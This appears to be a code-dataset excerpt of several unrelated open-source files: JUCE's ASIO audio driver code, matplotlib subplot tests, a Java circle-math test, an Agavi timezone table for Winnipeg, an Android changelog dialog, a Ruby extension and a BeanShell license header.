JUCE_ASIO_LOG_ERROR ("dummy buffers", err);
}
long newInps = 0, newOuts = 0;
asioObject->getChannels (&newInps, &newOuts);
if (totalNumInputChans != newInps || totalNumOutputChans != newOuts)
{
totalNumInputChans = newInps;
totalNumOutputChans = newOuts;
JUCE_ASIO_LOG (String ((int) totalNumInputChans) + " in; " + String ((int) totalNumOutputChans) + " out");
}
updateSampleRates();
reloadChannelNames();
for (int i = 0; i < totalNumOutputChans; ++i)
{
ASIOChannelInfo channelInfo = { 0 };
channelInfo.channel = i;
channelInfo.isInput = 0;
asioObject->getChannelInfo (&channelInfo);
outputFormat[i] = ASIOSampleFormat (channelInfo.type);
if (i < 2)
{
// clear the channels that are used with the dummy stuff
outputFormat[i].clear (bufferInfos [outputBufferIndex + i].buffers[0], preferredBufferSize);
outputFormat[i].clear (bufferInfos [outputBufferIndex + i].buffers[1], preferredBufferSize);
}
}
}
void removeCurrentDriver()
{
if (asioObject != nullptr)
{
asioObject->Release();
asioObject = nullptr;
}
}
bool loadDriver()
{
removeCurrentDriver();
bool crashed = false;
bool ok = tryCreatingDriver (crashed);
if (crashed)
JUCE_ASIO_LOG ("** Driver crashed while being opened");
return ok;
}
bool tryCreatingDriver (bool& crashed)
{
#if ! JUCE_MINGW
__try
#endif
{
return CoCreateInstance (classId, 0, CLSCTX_INPROC_SERVER,
classId, (void**) &asioObject) == S_OK;
}
#if ! JUCE_MINGW
__except (EXCEPTION_EXECUTE_HANDLER) { crashed = true; }
return false;
#endif
}
String getLastDriverError() const
{
jassert (asioObject != nullptr);
char buffer [512] = { 0 };
asioObject->getErrorMessage (buffer);
return String (buffer, sizeof (buffer) - 1);
}
String initDriver()
{
if (asioObject == nullptr)
return "No Driver";
const bool initOk = !! asioObject->init (juce_messageWindowHandle);
String driverError;
// Get error message if init() failed, or if it's a buggy Denon driver,
// which returns true from init() even when it fails.
if ((! initOk) || getName().containsIgnoreCase ("denon dj"))
driverError = getLastDriverError();
if ((! initOk) && driverError.isEmpty())
driverError = "Driver failed to initialise";
if (driverError.isEmpty())
{
char buffer [512];
asioObject->getDriverName (buffer); // just in case any flimsy drivers expect this to be called..
}
return driverError;
}
String openDevice()
{
// open the device and get its info..
JUCE_ASIO_LOG ("opening device: " + getName());
needToReset = false;
outputChannelNames.clear();
inputChannelNames.clear();
bufferSizes.clear();
sampleRates.clear();
deviceIsOpen = false;
totalNumInputChans = 0;
totalNumOutputChans = 0;
numActiveInputChans = 0;
numActiveOutputChans = 0;
xruns = 0;
currentCallback = nullptr;
error.clear();
if (getName().isEmpty())
return error;
long err = 0;
if (loadDriver())
{
if ((error = initDriver()).isEmpty())
{
numActiveInputChans = 0;
numActiveOutputChans = 0;
totalNumInputChans = 0;
totalNumOutputChans = 0;
if (asioObject != nullptr
&& (err = asioObject->getChannels (&totalNumInputChans, &totalNumOutputChans)) == 0)
{
JUCE_ASIO_LOG (String ((int) totalNumInputChans) + " in, " + String ((int) totalNumOutputChans) + " out");
const int chansToAllocate = totalNumInputChans + totalNumOutputChans + 4;
bufferInfos.calloc (chansToAllocate);
inBuffers.calloc (chansToAllocate);
outBuffers.calloc (chansToAllocate);
inputFormat.calloc (chansToAllocate);
outputFormat.calloc (chansToAllocate);
if ((err = refreshBufferSizes()) == 0)
{
addBufferSizes (minBufferSize, maxBufferSize, preferredBufferSize, bufferGranularity);
double currentRate = getSampleRate();
if (currentRate < 1.0 || currentRate > 192001.0)
{
JUCE_ASIO_LOG ("setting default sample rate");
err = asioObject->setSampleRate (44100.0);
JUCE_ASIO_LOG_ERROR ("setting sample rate", err);
currentRate = getSampleRate();
}
currentSampleRate = currentRate;
postOutput = (asioObject->outputReady() == 0);
if (postOutput)
JUCE_ASIO_LOG ("outputReady true");
updateSampleRates();
readLatencies(); // ..doing these steps because cubase does so at this stage
createDummyBuffers (preferredBufferSize); // in initialisation, and some devices fail if we don't.
readLatencies();
// start and stop because cubase does it..
err = asioObject->start();
// ignore an error here, as it might start later after setting other stuff up
JUCE_ASIO_LOG_ERROR ("start", err);
Thread::sleep (80);
asioObject->stop();
}
else
{
error = "Can't detect buffer sizes";
}
}
else
{
error = "Can't detect asio channels";
}
}
}
else
{
error = "No such device";
}
if (error.isNotEmpty())
{
JUCE_ASIO_LOG_ERROR (error, err);
disposeBuffers();
removeCurrentDriver();
}
else
{
JUCE_ASIO_LOG ("device open");
}
deviceIsOpen = false;
needToReset = false;
stopTimer();
return error;
}
void disposeBuffers()
{
if (asioObject != nullptr && buffersCreated)
{
buffersCreated = false;
asioObject->disposeBuffers();
}
}
//==============================================================================
void JUCE_ASIOCALLBACK callback (const long index)
{
if (isStarted)
{
bufferIndex = index;
processBuffer();
}
else
{
if (postOutput && (asioObject != nullptr))
asioObject->outputReady();
}
calledback = true;
}
void processBuffer()
{
const ASIOBufferInfo* const infos = bufferInfos;
const int bi = bufferIndex;
const ScopedLock sl (callbackLock);
if (bi >= 0)
{
const int samps = currentBlockSizeSamples;
if (currentCallback != nullptr)
{
for (int i = 0; i < numActiveInputChans; ++i)
{
jassert (inBuffers[i] != nullptr);
inputFormat[i].convertToFloat (infos[i].buffers[bi], inBuffers[i], samps);
}
currentCallback->audioDeviceIOCallback (const_cast<const float**> (inBuffers.getData()), numActiveInputChans,
outBuffers, numActiveOutputChans, samps);
for (int i = 0; i < numActiveOutputChans; ++i)
{
jassert (outBuffers[i] != nullptr);
outputFormat[i].convertFromFloat (outBuffers[i], infos [numActiveInputChans + i].buffers[bi], samps);
}
}
else
{
for (int i = 0; i < numActiveOutputChans; ++i)
outputFormat[i].clear (infos[numActiveInputChans + i].buffers[bi], samps);
}
}
if (postOutput)
asioObject->outputReady();
}
long asioMessagesCallback (long selector, long value)
{
switch (selector)
{
case kAsioSelectorSupported:
if (value == kAsioResetRequest || value == kAsioEngineVersion || value == kAsioResyncRequest
|| value == kAsioLatenciesChanged || value == kAsioSupportsInputMonitor || value == kAsioOverload)
return 1;
break;
case kAsioBufferSizeChange: JUCE_ASIO_LOG ("kAsioBufferSizeChange"); resetRequest(); return 1;
case kAsioResetRequest: JUCE_ASIO_LOG ("kAsioResetRequest"); resetRequest(); return 1;
case kAsioResyncRequest: JUCE_ASIO_LOG ("kAsioResyncRequest"); resetRequest(); return 1;
case kAsioLatenciesChanged: JUCE_ASIO_LOG ("kAsioLatenciesChanged"); return 1;
case kAsioEngineVersion: return 2;
case kAsioSupportsTimeInfo:
case kAsioSupportsTimeCode: return 0;
case kAsioOverload: xruns++; return 1;
}
return 0;
}
//==============================================================================
template <int deviceIndex>
struct ASIOCallbackFunctions
{
static ASIOTime* JUCE_ASIOCALLBACK bufferSwitchTimeInfoCallback (ASIOTime*, long index, long)
{
if (currentASIODev[deviceIndex] != nullptr)
currentASIODev[deviceIndex]->callback (index);
return nullptr;
}
static void JUCE_ASIOCALLBACK bufferSwitchCallback (long index, long)
{
if (currentASIODev[deviceIndex] != nullptr)
currentASIODev[deviceIndex]->callback (index);
}
static long JUCE_ASIOCALLBACK asioMessagesCallback (long selector, long value, void*, double*)
{
return currentASIODev[deviceIndex] != nullptr
? currentASIODev[deviceIndex]->asioMessagesCallback (selector, value)
: 0;
}
static void JUCE_ASIOCALLBACK sampleRateChangedCallback (ASIOSampleRate)
{
if (currentASIODev[deviceIndex] != nullptr)
currentASIODev[deviceIndex]->resetRequest();
}
static void setCallbacks (ASIOCallbacks& callbacks) noexcept
{
callbacks.bufferSwitch = &bufferSwitchCallback;
callbacks.asioMessage = &asioMessagesCallback;
callbacks.bufferSwitchTimeInfo = &bufferSwitchTimeInfoCallback;
callbacks.sampleRateDidChange = &sampleRateChangedCallback;
}
static void setCallbacksForDevice (ASIOCallbacks& callbacks, ASIOAudioIODevice* device) noexcept
{
if (currentASIODev[deviceIndex] == device)
setCallbacks (callbacks);
else
ASIOCallbackFunctions<deviceIndex + 1>::setCallbacksForDevice (callbacks, device);
}
};
void setCallbackFunctions() noexcept
{
ASIOCallbackFunctions<0>::setCallbacksForDevice (callbacks, this);
}
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (ASIOAudioIODevice)
};
template <>
struct ASIOAudioIODevice::ASIOCallbackFunctions <sizeof(currentASIODev) / sizeof(currentASIODev[0])>
{
static void setCallbacksForDevice (ASIOCallbacks&, ASIOAudioIODevice*) noexcept {}
};
//==============================================================================
class ASIOAudioIODeviceType : public AudioIODeviceType
{
public:
ASIOAudioIODeviceType() : AudioIODeviceType ("ASIO") {}
//==============================================================================
void scanForDevices()
{
hasScanned = true;
deviceNames.clear();
classIds.clear();
HKEY hk = 0;
int index = 0;
if (RegOpenKey (HKEY_LOCAL_MACHINE, _T("software\\asio"), &hk) == ERROR_SUCCESS)
{
TCHAR name [256];
while (RegEnumKey (hk, index++, name, numElementsInArray (name)) == ERROR_SUCCESS)
addDriverInfo (name, hk);
RegCloseKey (hk);
}
}
StringArray getDeviceNames (bool /*wantInputNames*/) const
{
jassert (hasScanned); // need to call scanForDevices() before doing this
return deviceNames;
}
int getDefaultDeviceIndex (bool) const
{
jassert (hasScanned); // need to call scanForDevices() before doing this
for (int i = deviceNames.size(); --i >= 0;)
if (deviceNames[i].containsIgnoreCase ("asio4all"))
return i; // asio4all is a safe choice for a default..
#if JUCE_DEBUG
if (deviceNames.size() > 1 && deviceNames[0].containsIgnoreCase ("digidesign"))
return 1; // (the digi m-box driver crashes the app when you run
// it in the debugger, which can be a bit annoying)
#endif
return 0;
}
static int findFreeSlot()
{
for (int i = 0; i < numElementsInArray (currentASIODev); ++i)
if (currentASIODev[i] == 0)
return i;
jassertfalse; // unfortunately you can only have a finite number
// of ASIO devices open at the same time..
return -1;
}
int getIndexOfDevice (AudioIODevice* d, bool /*asInput*/) const
{
jassert (hasScanned); // need to call scanForDevices() before doing this
return d == nullptr ? -1 : deviceNames.indexOf (d->getName());
}
bool hasSeparateInputsAndOutputs() const { return false; }
AudioIODevice* createDevice (const String& outputDeviceName,
const String& inputDeviceName)
{
// ASIO can't open two different devices for input and output - they must be the same one.
jassert (inputDeviceName == outputDeviceName || outputDeviceName.isEmpty() || inputDeviceName.isEmpty());
jassert (hasScanned); // need to call scanForDevices() before doing this
const String deviceName (outputDeviceName.isNotEmpty() ? outputDeviceName
: inputDeviceName);
const int index = deviceNames.indexOf (deviceName);
if (index >= 0)
{
const int freeSlot = findFreeSlot();
if (freeSlot >= 0)
return new ASIOAudioIODevice (this, deviceName,
classIds.getReference (index), freeSlot);
}
return nullptr;
}
void sendDeviceChangeToListeners()
{
callDeviceChangeListeners();
}
JUCE_DECLARE_WEAK_REFERENCEABLE (ASIOAudioIODeviceType)
private:
StringArray deviceNames;
Array<CLSID> classIds;
bool hasScanned = false;
//==============================================================================
static bool checkClassIsOk (const String& classId)
{
HKEY hk = 0;
bool ok = false;
if (RegOpenKey (HKEY_CLASSES_ROOT, _T("clsid"), &hk) == ERROR_SUCCESS)
{
int index = 0;
TCHAR name [512];
while (RegEnumKey (hk, index++, name, numElementsInArray (name)) == ERROR_SUCCESS)
{
if (classId.equalsIgnoreCase (name))
{
HKEY subKey, pathKey;
if (RegOpenKeyEx (hk, name, 0, KEY_READ, &subKey) == ERROR_SUCCESS)
{
if (RegOpenKeyEx (subKey, _T("InprocServer32"), 0, KEY_READ, &pathKey) == ERROR_SUCCESS)
{
TCHAR pathName [1024] = { 0 };
DWORD dtype = REG_SZ;
DWORD dsize = sizeof (pathName);
if (RegQueryValueEx (pathKey, 0, 0, &dtype, (LPBYTE) pathName, &dsize) == ERROR_SUCCESS)
// In older code, this used to check for the existence of the file, but there are situations
// where our process doesn't have access to it, but where the driver still loads ok..
ok = (pathName[0] != 0);
RegCloseKey (pathKey);
}
RegCloseKey (subKey);
}
break;
}
}
RegCloseKey (hk);
}
return ok;
}
//==============================================================================
void addDriverInfo (const String& keyName, HKEY hk)
{
HKEY subKey;
if (RegOpenKeyEx (hk, keyName.toWideCharPointer(), 0, KEY_READ, &subKey) == ERROR_SUCCESS)
{
TCHAR buf [256] = { 0 };
DWORD dtype = REG_SZ;
DWORD dsize = sizeof (buf);
if (RegQueryValueEx (subKey, _T("clsid"), 0, &dtype, (LPBYTE) buf, &dsize) == ERROR_SUCCESS)
{
if (dsize > 0 && checkClassIsOk (buf))
{
CLSID classId;
if (CLSIDFromString ((LPOLESTR) buf, &classId) == S_OK)
{
dtype = REG_SZ;
dsize = sizeof (buf);
String deviceName;
if (RegQueryValueEx (subKey, _T("description"), 0, &dtype, (LPBYTE) buf, &dsize) == ERROR_SUCCESS)
deviceName = buf;
else
deviceName = keyName;
JUCE_ASIO_LOG ("found " + deviceName);
deviceNames.add (deviceName);
classIds.add (classId);
}
}
RegCloseKey (subKey);
}
}
}
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (ASIOAudioIODeviceType)
};
void sendASIODeviceChangeToListeners (ASIOAudioIODeviceType* type)
{
if (type != nullptr)
type->sendDeviceChangeToListeners();
}
AudioIODeviceType* AudioIODeviceType::createAudioIODeviceType_ASIO()
{
return new ASIOAudioIODeviceType();
}
} // namespace juce
| gpl-3.0 |
jonyroda97/redbot-amigosprovaveis | lib/matplotlib/tests/test_subplots.py | 4659 | from __future__ import (absolute_import, division, print_function,
unicode_literals)
import warnings
import numpy
import matplotlib.pyplot as plt
from matplotlib.testing.decorators import image_comparison
import pytest
def check_shared(axs, x_shared, y_shared):
"""
x_shared and y_shared are n x n boolean matrices; entry (i, j) indicates
whether the x (or y) axes of subplots i and j should be shared.
"""
shared = [axs[0]._shared_x_axes, axs[0]._shared_y_axes]
for (i1, ax1), (i2, ax2), (i3, (name, shared)) in zip(
enumerate(axs),
enumerate(axs),
enumerate(zip("xy", [x_shared, y_shared]))):
if i2 <= i1:
continue
assert shared[i3].joined(ax1, ax2) == shared[i1, i2], \
"axes %i and %i incorrectly %ssharing %s axis" % (
i1, i2, "not " if shared[i1, i2] else "", name)
def check_visible(axs, x_visible, y_visible):
def tostr(v):
return "invisible" if v else "visible"
for (ax, vx, vy) in zip(axs, x_visible, y_visible):
for l in ax.get_xticklabels() + [ax.get_xaxis().offsetText]:
assert l.get_visible() == vx, \
"X axis was incorrectly %s" % (tostr(vx))
for l in ax.get_yticklabels() + [ax.get_yaxis().offsetText]:
assert l.get_visible() == vy, \
"Y axis was incorrectly %s" % (tostr(vy))
def test_shared():
rdim = (4, 4, 2)
share = {
'all': numpy.ones(rdim[:2], dtype=bool),
'none': numpy.zeros(rdim[:2], dtype=bool),
'row': numpy.array([
[False, True, False, False],
[True, False, False, False],
[False, False, False, True],
[False, False, True, False]]),
'col': numpy.array([
[False, False, True, False],
[False, False, False, True],
[True, False, False, False],
[False, True, False, False]]),
}
visible = {
'x': {
'all': [False, False, True, True],
'col': [False, False, True, True],
'row': [True] * 4,
'none': [True] * 4,
False: [True] * 4,
True: [False, False, True, True],
},
'y': {
'all': [True, False, True, False],
'col': [True] * 4,
'row': [True, False, True, False],
'none': [True] * 4,
False: [True] * 4,
True: [True, False, True, False],
},
}
share[False] = share['none']
share[True] = share['all']
# test default
f, ((a1, a2), (a3, a4)) = plt.subplots(2, 2)
axs = [a1, a2, a3, a4]
check_shared(axs, share['none'], share['none'])
plt.close(f)
# test all option combinations
ops = [False, True, 'all', 'none', 'row', 'col']
for xo in ops:
for yo in ops:
f, ((a1, a2), (a3, a4)) = plt.subplots(2, 2, sharex=xo, sharey=yo)
axs = [a1, a2, a3, a4]
check_shared(axs, share[xo], share[yo])
check_visible(axs, visible['x'][xo], visible['y'][yo])
plt.close(f)
# test label_outer
f, ((a1, a2), (a3, a4)) = plt.subplots(2, 2, sharex=True, sharey=True)
axs = [a1, a2, a3, a4]
for ax in axs:
ax.label_outer()
check_visible(axs, [False, False, True, True], [True, False, True, False])
def test_exceptions():
# TODO should this test more options?
with pytest.raises(ValueError):
plt.subplots(2, 2, sharex='blah')
with pytest.raises(ValueError):
plt.subplots(2, 2, sharey='blah')
# We filter warnings in this test which are genuine since
# the point of this test is to ensure that this raises.
with warnings.catch_warnings():
warnings.filterwarnings('ignore',
message='.*sharex argument to subplots',
category=UserWarning)
with pytest.raises(ValueError):
plt.subplots(2, 2, -1)
with pytest.raises(ValueError):
plt.subplots(2, 2, 0)
with pytest.raises(ValueError):
plt.subplots(2, 2, 5)
@image_comparison(baseline_images=['subplots_offset_text'], remove_text=False)
def test_subplots_offsettext():
x = numpy.arange(0, 1e10, 1e9)
y = numpy.arange(0, 100, 10)+1e4
fig, axes = plt.subplots(2, 2, sharex='col', sharey='all')
axes[0, 0].plot(x, x)
axes[1, 0].plot(x, x)
axes[0, 1].plot(y, x)
axes[1, 1].plot(y, x)
| gpl-3.0 |
spMohanty/sigmah_svn_to_git_migration_test | sigmah/src/test/java/org/sigmah/server/report/generator/map/CircleMathTest.java | 1049 | /*
* All Sigmah code is released under the GNU General Public License v3
* See COPYRIGHT.txt and LICENSE.txt.
*/
package org.sigmah.server.report.generator.map;
import org.junit.Assert;
import org.junit.Test;
import org.sigmah.shared.report.content.Point;
public class CircleMathTest {
private static final double DELTA = 0.001;
@Test
public void testNoIntersection() {
Point a = new Point(0, 0);
Point b = new Point(5, 0);
Assert.assertEquals(0.0, CircleMath.intersectionArea(a, b, 1, 2), DELTA);
}
@Test
public void testTangentIntersection() {
Point a = new Point(0, 0);
Point b = new Point(2, 0);
Assert.assertEquals(0.0, CircleMath.intersectionArea(a, b, 1, 1), DELTA);
}
@Test
public void testCompletelyContained() {
Point a = new Point(297, 212);
Point b = new Point(295, 213);
Assert.assertEquals(CircleMath.area(5), CircleMath.intersectionArea(a, b, 8, 5), DELTA);
}
}
| gpl-3.0 |
lazyfrosch/pkg-ingraph | ingraph-web/ingraph/libs/agavi/src/translation/data/timezones/America_47_Winnipeg.php | 11201 | <?php
/**
* Data file for timezone "America/Winnipeg".
* Compiled from olson file "northamerica", version 8.51.
*
* @package agavi
* @subpackage translation
*
* @copyright Authors
* @copyright The Agavi Project
*
* @since 0.11.0
*
* @version $Id: America_47_Winnipeg.php 4833 2011-11-01 11:40:11Z david $
*/
return array (
'types' =>
array (
0 =>
array (
'rawOffset' => -21600,
'dstOffset' => 0,
'name' => 'CT',
),
1 =>
array (
'rawOffset' => -21600,
'dstOffset' => 3600,
'name' => 'CDT',
),
2 =>
array (
'rawOffset' => -21600,
'dstOffset' => 0,
'name' => 'CST',
),
3 =>
array (
'rawOffset' => -21600,
'dstOffset' => 3600,
'name' => 'CWT',
),
4 =>
array (
'rawOffset' => -21600,
'dstOffset' => 3600,
'name' => 'CPT',
),
),
'rules' =>
array (
0 =>
array (
'time' => -2602258284,
'type' => 0,
),
1 =>
array (
'time' => -1694368800,
'type' => 1,
),
2 =>
array (
'time' => -1681671600,
'type' => 2,
),
3 =>
array (
'time' => -1632067200,
'type' => 1,
),
4 =>
array (
'time' => -1614790800,
'type' => 2,
),
5 =>
array (
'time' => -1029686400,
'type' => 1,
),
6 =>
array (
'time' => -1018198800,
'type' => 2,
),
7 =>
array (
'time' => -880214400,
'type' => 3,
),
8 =>
array (
'time' => -769395600,
'type' => 4,
),
9 =>
array (
'time' => -765392400,
'type' => 2,
),
10 =>
array (
'time' => -746035200,
'type' => 1,
),
11 =>
array (
'time' => -732733200,
'type' => 2,
),
12 =>
array (
'time' => -715795200,
'type' => 1,
),
13 =>
array (
'time' => -702493200,
'type' => 2,
),
14 =>
array (
'time' => -684345600,
'type' => 1,
),
15 =>
array (
'time' => -671043600,
'type' => 2,
),
16 =>
array (
'time' => -652896000,
'type' => 1,
),
17 =>
array (
'time' => -639594000,
'type' => 2,
),
18 =>
array (
'time' => -620755200,
'type' => 1,
),
19 =>
array (
'time' => -607626000,
'type' => 2,
),
20 =>
array (
'time' => -589392000,
'type' => 1,
),
21 =>
array (
'time' => -576090000,
'type' => 2,
),
22 =>
array (
'time' => -557942400,
'type' => 1,
),
23 =>
array (
'time' => -544640400,
'type' => 2,
),
24 =>
array (
'time' => -526492800,
'type' => 1,
),
25 =>
array (
'time' => -513190800,
'type' => 2,
),
26 =>
array (
'time' => -495043200,
'type' => 1,
),
27 =>
array (
'time' => -481741200,
'type' => 2,
),
28 =>
array (
'time' => -463593600,
'type' => 1,
),
29 =>
array (
'time' => -450291600,
'type' => 2,
),
30 =>
array (
'time' => -431539200,
'type' => 1,
),
31 =>
array (
'time' => -418237200,
'type' => 2,
),
32 =>
array (
'time' => -400089600,
'type' => 1,
),
33 =>
array (
'time' => -386787600,
'type' => 2,
),
34 =>
array (
'time' => -368640000,
'type' => 1,
),
35 =>
array (
'time' => -355338000,
'type' => 2,
),
36 =>
array (
'time' => -337190400,
'type' => 1,
),
37 =>
array (
'time' => -321469200,
'type' => 2,
),
38 =>
array (
'time' => -305740800,
'type' => 1,
),
39 =>
array (
'time' => -292438800,
'type' => 2,
),
40 =>
array (
'time' => -210787200,
'type' => 1,
),
41 =>
array (
'time' => -198090000,
'type' => 2,
),
42 =>
array (
'time' => -116438400,
'type' => 1,
),
43 =>
array (
'time' => -100108800,
'type' => 2,
),
44 =>
array (
'time' => -84384000,
'type' => 1,
),
45 =>
array (
'time' => -68659200,
'type' => 2,
),
46 =>
array (
'time' => -52934400,
'type' => 1,
),
47 =>
array (
'time' => -37209600,
'type' => 2,
),
48 =>
array (
'time' => -21484800,
'type' => 1,
),
49 =>
array (
'time' => -5760000,
'type' => 2,
),
50 =>
array (
'time' => 9964800,
'type' => 1,
),
51 =>
array (
'time' => 25689600,
'type' => 2,
),
52 =>
array (
'time' => 41414400,
'type' => 1,
),
53 =>
array (
'time' => 57744000,
'type' => 2,
),
54 =>
array (
'time' => 73468800,
'type' => 1,
),
55 =>
array (
'time' => 89193600,
'type' => 2,
),
56 =>
array (
'time' => 104918400,
'type' => 1,
),
57 =>
array (
'time' => 120643200,
'type' => 2,
),
58 =>
array (
'time' => 136368000,
'type' => 1,
),
59 =>
array (
'time' => 152092800,
'type' => 2,
),
60 =>
array (
'time' => 167817600,
'type' => 1,
),
61 =>
array (
'time' => 183542400,
'type' => 2,
),
62 =>
array (
'time' => 199267200,
'type' => 1,
),
63 =>
array (
'time' => 215596800,
'type' => 2,
),
64 =>
array (
'time' => 230716800,
'type' => 1,
),
65 =>
array (
'time' => 247046400,
'type' => 2,
),
66 =>
array (
'time' => 262771200,
'type' => 1,
),
67 =>
array (
'time' => 278496000,
'type' => 2,
),
68 =>
array (
'time' => 294220800,
'type' => 1,
),
69 =>
array (
'time' => 309945600,
'type' => 2,
),
70 =>
array (
'time' => 325670400,
'type' => 1,
),
71 =>
array (
'time' => 341395200,
'type' => 2,
),
72 =>
array (
'time' => 357120000,
'type' => 1,
),
73 =>
array (
'time' => 372844800,
'type' => 2,
),
74 =>
array (
'time' => 388569600,
'type' => 1,
),
75 =>
array (
'time' => 404899200,
'type' => 2,
),
76 =>
array (
'time' => 420019200,
'type' => 1,
),
77 =>
array (
'time' => 436348800,
'type' => 2,
),
78 =>
array (
'time' => 452073600,
'type' => 1,
),
79 =>
array (
'time' => 467798400,
'type' => 2,
),
80 =>
array (
'time' => 483523200,
'type' => 1,
),
81 =>
array (
'time' => 499248000,
'type' => 2,
),
82 =>
array (
'time' => 514972800,
'type' => 1,
),
83 =>
array (
'time' => 530697600,
'type' => 2,
),
84 =>
array (
'time' => 544608000,
'type' => 1,
),
85 =>
array (
'time' => 562147200,
'type' => 2,
),
86 =>
array (
'time' => 576057600,
'type' => 1,
),
87 =>
array (
'time' => 594201600,
'type' => 2,
),
88 =>
array (
'time' => 607507200,
'type' => 1,
),
89 =>
array (
'time' => 625651200,
'type' => 2,
),
90 =>
array (
'time' => 638956800,
'type' => 1,
),
91 =>
array (
'time' => 657100800,
'type' => 2,
),
92 =>
array (
'time' => 671011200,
'type' => 1,
),
93 =>
array (
'time' => 688550400,
'type' => 2,
),
94 =>
array (
'time' => 702460800,
'type' => 1,
),
95 =>
array (
'time' => 720000000,
'type' => 2,
),
96 =>
array (
'time' => 733910400,
'type' => 1,
),
97 =>
array (
'time' => 752054400,
'type' => 2,
),
98 =>
array (
'time' => 765360000,
'type' => 1,
),
99 =>
array (
'time' => 783504000,
'type' => 2,
),
100 =>
array (
'time' => 796809600,
'type' => 1,
),
101 =>
array (
'time' => 814953600,
'type' => 2,
),
102 =>
array (
'time' => 828864000,
'type' => 1,
),
103 =>
array (
'time' => 846403200,
'type' => 2,
),
104 =>
array (
'time' => 860313600,
'type' => 1,
),
105 =>
array (
'time' => 877852800,
'type' => 2,
),
106 =>
array (
'time' => 891763200,
'type' => 1,
),
107 =>
array (
'time' => 909302400,
'type' => 2,
),
108 =>
array (
'time' => 923212800,
'type' => 1,
),
109 =>
array (
'time' => 941356800,
'type' => 2,
),
110 =>
array (
'time' => 954662400,
'type' => 1,
),
111 =>
array (
'time' => 972806400,
'type' => 2,
),
112 =>
array (
'time' => 986112000,
'type' => 1,
),
113 =>
array (
'time' => 1004256000,
'type' => 2,
),
114 =>
array (
'time' => 1018166400,
'type' => 1,
),
115 =>
array (
'time' => 1035705600,
'type' => 2,
),
116 =>
array (
'time' => 1049616000,
'type' => 1,
),
117 =>
array (
'time' => 1067155200,
'type' => 2,
),
118 =>
array (
'time' => 1081065600,
'type' => 1,
),
119 =>
array (
'time' => 1099209600,
'type' => 2,
),
120 =>
array (
'time' => 1112515200,
'type' => 1,
),
121 =>
array (
'time' => 1130659200,
'type' => 2,
),
122 =>
array (
'time' => 1136095200,
'type' => 2,
),
123 =>
array (
'time' => 1143964800,
'type' => 1,
),
124 =>
array (
'time' => 1162105200,
'type' => 2,
),
125 =>
array (
'time' => 1173600000,
'type' => 1,
),
126 =>
array (
'time' => 1194159600,
'type' => 2,
),
),
'finalRule' =>
array (
'type' => 'dynamic',
'offset' => -21600,
'name' => 'C%sT',
'save' => 3600,
'start' =>
array (
'month' => 2,
'date' => '8',
'day_of_week' => -1,
'time' => 7200000,
'type' => 0,
),
'end' =>
array (
'month' => 10,
'date' => '1',
'day_of_week' => -1,
'time' => 7200000,
'type' => 0,
),
'startYear' => 2007,
),
'source' => 'northamerica',
'version' => '8.51',
'name' => 'America/Winnipeg',
);
?> | gpl-3.0 |
ychaim/boilr | src/main/java/mobi/boilr/boilr/views/fragments/ChangelogDialogFragment.java | 1123 | package mobi.boilr.boilr.views.fragments;
import it.gmariotti.changelibs.library.view.ChangeLogListView;
import mobi.boilr.boilr.R;
import mobi.boilr.boilr.utils.VersionTracker;
import android.app.AlertDialog;
import android.app.Dialog;
import android.app.DialogFragment;
import android.content.Context;
import android.content.DialogInterface;
import android.os.Bundle;
import android.view.LayoutInflater;
public class ChangelogDialogFragment extends DialogFragment {
@Override
public Dialog onCreateDialog(Bundle savedInstanceState) {
LayoutInflater layoutInflater = (LayoutInflater) getActivity().getSystemService(Context.LAYOUT_INFLATER_SERVICE);
ChangeLogListView chgList = (ChangeLogListView) layoutInflater.inflate(R.layout.changelog_view, null);
return new AlertDialog.Builder(getActivity()).setTitle(R.string.release_notes).setView(chgList)
.setPositiveButton(R.string.ok, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int whichButton) {
VersionTracker.updateVersionInPreferences();
dialog.dismiss();
}
}).create();
}
}
| gpl-3.0 |
portablemind/compass_agile_enterprise | erp_commerce/app/models/extensions/product_type.rb | 49 | ProductType.class_eval do
acts_as_priceable
end | gpl-3.0 |
projectvalis/ALTk | beanshell/src/bsh/ClassGeneratorUtil.java | 38843 | /*****************************************************************************
* *
* This file is part of the BeanShell Java Scripting distribution. *
* Documentation and updates may be found at http://www.beanshell.org/ *
* *
* Sun Public License Notice: *
* *
* The contents of this file are subject to the Sun Public License Version *
* 1.0 (the "License"); you may not use this file except in compliance with *
* the License. A copy of the License is available at http://www.sun.com *
* *
* The Original Code is BeanShell. The Initial Developer of the Original *
* Code is Pat Niemeyer. Portions created by Pat Niemeyer are Copyright *
* (C) 2000. All Rights Reserved. *
* *
* GNU Public License Notice: *
* *
* Alternatively, the contents of this file may be used under the terms of *
* the GNU Lesser General Public License (the "LGPL"), in which case the *
* provisions of LGPL are applicable instead of those above. If you wish to *
* allow use of your version of this file only under the terms of the LGPL *
* and not to allow others to use your version of this file under the SPL, *
* indicate your decision by deleting the provisions above and replace *
* them with the notice and other provisions required by the LGPL. If you *
* do not delete the provisions above, a recipient may use your version of *
* this file under either the SPL or the LGPL. *
* *
* Patrick Niemeyer (pat@pat.net) *
* Author of Learning Java, O'Reilly & Associates *
* http://www.pat.net/~pat/ *
* *
*****************************************************************************/
package bsh;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
import bsh.classpath.BshClassPath.GeneratedClassSource;
/**
* ClassGeneratorUtil utilizes the ASM (www.objectweb.org) bytecode generator
* by Eric Bruneton in order to generate class "stubs" for BeanShell at
* runtime.
* <p/>
* <p/>
* Stub classes contain all of the fields of a BeanShell scripted class
* as well as two "callback" references to BeanShell namespaces: one for
* static methods and one for instance methods. Methods of the class are
* delegators which invoke corresponding methods on either the static or
* instance bsh object and then unpack and return the results. The static
* namespace utilizes a static import to delegate variable access to the
* class' static fields. The instance namespace utilizes a dynamic import
* (i.e. mixin) to delegate variable access to the class' instance variables.
* <p/>
* <p/>
* Constructors for the class delegate to the static initInstance() method of
* ClassGeneratorUtil to initialize new instances of the object. initInstance()
* invokes the instance intializer code (init vars and instance blocks) and
* then delegates to the corresponding scripted constructor method in the
* instance namespace. Constructors contain special switch logic which allows
* the BeanShell to control the calling of alternate constructors (this() or
* super() references) at runtime.
